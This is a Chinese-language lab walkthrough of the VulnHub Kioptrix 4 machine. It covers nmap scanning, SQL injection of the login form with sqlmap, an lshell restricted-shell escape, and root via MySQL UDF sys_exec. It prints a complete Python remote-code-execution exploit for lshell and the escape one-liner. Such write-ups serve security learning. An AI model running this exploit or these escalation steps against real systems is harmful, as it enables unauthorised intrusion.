靶机地址

https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

信息收集

获得 IP

{% blockquote %}

nmap -sn 192.168.56.0/24 Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-03 13:19 CST Nmap scan report for 192.168.56.1 Host is up (0.00095s latency). Nmap scan report for 192.168.56.114 Host is up (0.0011s latency). Nmap done: 256 IP addresses (2 hosts up) scanned in 2.42 seconds

{% endblockquote %}

端口枚举及服务扫描

{% codeblock lang:sh %}

sudo nmap -sC -sV -p- -T4 -O 192.168.56.114

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-03 13:33 CST Nmap scan report for 192.168.56.114 Host is up (0.00064s latency). Not shown: 39528 closed ports, 26003 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch |_http-title: Site doesn’t have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP) MAC Address: 08:00:27:90:48:67 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results: |clock-skew: mean: 1h59m58s, deviation: 2h49m41s, median: -1s |nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.28a) | Computer name: Kioptrix4 | NetBIOS computer name: | Domain name: localdomain | FQDN: Kioptrix4.localdomain | System time: 2020-08-03T01:33:41-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported | message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.26 seconds

{% endcodeblock %}

Web 服务

打开浏览器查看主页,是一个登陆页面:

index

扫描目录,最近发现了一个基于 rust 的扫描器 rustbuster,扫描的速度远远快于 dirb 之类的工具(Rust NB!)。但是并没有扫描出什么有价值的东西,发现两个目录 johnrobert。其内部均有一个同名的 php 文件,但是访问就会重定向到登陆页面。

这里试探试探这个登录页面,输入账号 admin,密码 123,得到以下的结果:

pass_error

如果输入一个单引号作为密码呢?

pass_quote

嗯,应该是存在 Sql 注入的。上 sqlmap

1
2
3
4
5
6
7
8
9
Database: members
Table: members
[2 entries]
+------+----------+-----------------------+
| id   | username | password              |
+------+----------+-----------------------+
| 1    | john     | MyNameIsJohn          |
| 2    | robert   | ADGAdsafdfwt4gadfga== |
+------+----------+-----------------------+

拿到了用户名和密码。

lshell 代码执行

这次有点意外,SSH 上去得到的 shell并不是一个常规的 bash 之类的,而是一个有限制的 shell,只能执行 cd、clear、echo、exit、help、ll、lpath、ls,而 ; `` $() 这些都被禁止,一度陷入懵逼。直到执行 sudo 报错,才得到了一些更加有用的信息:

lshell_crash

可知该 shell 是基于 Pythonlshell,版本为 2.5。查看以下有没有漏洞:

searchsploit

有一个远程代码执行,但是 EXP 有一点问题,需要修改下,最后的 EXP 如下:

{% codeblock lang:python %} import sys import paramiko import traceback from time import sleep

Exploit lshell pathing vulnerability in <= 0.9.15.

Runs commands on the remote system.

@dronesec

if len(sys.argv) < 4: print ‘%s: [USER] [PW] [IP] {opt: port}’ % (sys.argv[0]) sys.exit(1)

try: print ‘[!] ………………………..’ print ‘[!] lshell <= 0.9.15 remote shell.’ print ‘[!] note: you can also ssh in and execute '/bin/bash'’ print ‘[!] ………………………..’ print ‘[!] Checking host %s…’ % (sys.argv[3]) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if len(sys.argv) == 5: ssh.connect(sys.argv[3], port=int(sys.argv[4]), username=sys.argv[1], password=sys.argv[2]) else: ssh.connect(sys.argv[3], username=sys.argv[1], password=sys.argv[2])

# verify lshell
channel = ssh.invoke_shell()
while not channel.recv_ready():
    sleep(1)
ret = channel.recv(2048)

channel.send('help help\n')
while not channel.recv_ready():
    sleep(1)
ret = channel.recv(2048)

if not 'lshell' in ret:
    if 'forbidden' in ret:
        print '[-] Looks like we can\'t execute SSH commands'
    else:
        print '[-] Environment is not lshell'
    sys.exit(1)

# verify vulnerable version
channel.send('sudo\n')
while not channel.recv_ready():
    sleep(1)
ret = channel.recv(2048)
if not 'Traceback' in ret:
    print '[-] lshell version not vulnerable.'
    sys.exit(1)
channel.close()
ssh.close()

# exec shell
print '[+] vulnerable lshell found, preparing pseudo-shell...'
if len(sys.argv) == 5:
    ssh.connect(sys.argv[3],
                port=int(sys.argv[4]),
                username=sys.argv[1],
                password=sys.argv[2])
else:
    ssh.connect(sys.argv[3], username=sys.argv[1], password=sys.argv[2])

while True:
    cmd = raw_input('$ ')

    # breaks paramiko
    if cmd[0] is '/':
        print '[!] Running binaries won\'t work!'
        continue

    cmd = cmd.replace("'", r"\'")
    cmd = 'echo __import__(\'os\').system(\'%s\')' % (cmd.replace(
        ' ', r'\t'))
    if len(cmd) > 1:
        if 'quit' in cmd or 'exit' in cmd:
            break
        (stdin, stdout, stderr) = ssh.exec_command(cmd)
    out = stdout.read()
    print out.strip()

except paramiko.AuthenticationException: print ‘[-] Authentication to %s failed.’ % sys.argv[3] except Exception, e: print ‘[-] Error: ‘, e print type(e) traceback.print_exc(file=sys.stdout) finally: channel.close() ssh.close() {% endcodeblock %}

这个绕过原理也比较简单,应该是过滤不严,直接执行了 Python 命令,从而绕过限制执行系统命令,得到一个 shell:

get_shell

经过尝试,直接执行 echo os.system('/bin/bash’) 可以直接得到一个交互 shell:

system

权限提升

到这一步感觉陷入一种困境,查看 SUID 文件和 /etc/sudoers 都没有发现什么有用的信息。虽然系统版本比较低,可以直接内核提权,但是感觉这样不利于学习,需要学习更多的姿势才对。上传 LinEnum.sh,查看有什么可疑之处:

mysql

可见 mysqlroot 账户并没有密码,而且 mysqld 是以 root 运行的:

mysql_priv

在上一步中得到的 shell 中直接登陆,使用 UDF 的方法提权,该数据库已经提前加载了 sys_exec 函数,直接用就好了:

write_sudoers

接着直接 sudo su 吧,得到 root shell:

rooted